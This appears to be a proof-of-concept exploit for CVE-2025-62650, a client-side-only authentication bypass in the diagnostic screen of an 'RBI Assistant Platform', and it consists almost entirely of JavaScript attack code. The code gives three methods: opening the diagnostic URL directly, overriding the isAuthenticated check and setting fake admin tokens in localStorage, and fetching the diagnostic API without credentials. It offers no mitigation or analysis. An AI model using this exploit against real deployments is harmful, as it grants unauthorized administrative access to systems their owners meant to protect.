CVE-2025-62650：RBI助手平台诊断屏客户端认证绕过漏洞

// CVE-2025-62650 - RBI Assistant Platform Diagnostic Screen Client-Side Auth Bypass PoC // Vulnerability: Client-side only authentication for diagnostic screen access // Affected: RBI Assistant Platform through 2025-09-06 // Method 1: Direct URL Access // Simply navigate to the diagnostic screen URL without authentication // The server does not enforce authentication checks const diagnosticUrl = 'https://rbi-assistant.example.com/diagnostic'; window.location.href = diagnosticUrl; // Method 2: Bypass Client-Side JavaScript Authentication Check // Override client-side auth validation functions function bypassClientSideAuth() { // Override common client-side auth check functions Object.defineProperty(window, 'isAuthenticated', { get: function() { return true; }, configurable: false }); // Override localStorage/sessionStorage auth flags localStorage.setItem('auth_token', 'bypass_token'); localStorage.setItem('user_role', 'admin'); localStorage.setItem('diagnostic_access', 'granted'); // Trigger any post-authentication initialization if (typeof onAuthSuccess === 'function') { onAuthSuccess(); } console.log('Client-side authentication bypassed successfully'); } // Method 3: Direct API Access via Fetch // Access diagnostic endpoints directly without authentication headers async function accessDiagnosticAPI() { try { const response = await fetch('https://rbi-assistant.example.com/api/diagnostic/status', { method: 'GET', credentials: 'include', headers: { 'Content-Type': 'application/json' // No Authorization header needed - server doesn't validate } }); const data = await response.json(); console.log('Diagnostic data accessed:', data); return data; } catch (error) { console.error('Error accessing diagnostic API:', error); } } // Execute the bypass bypassClientSideAuth(); // accessDiagnosticAPI();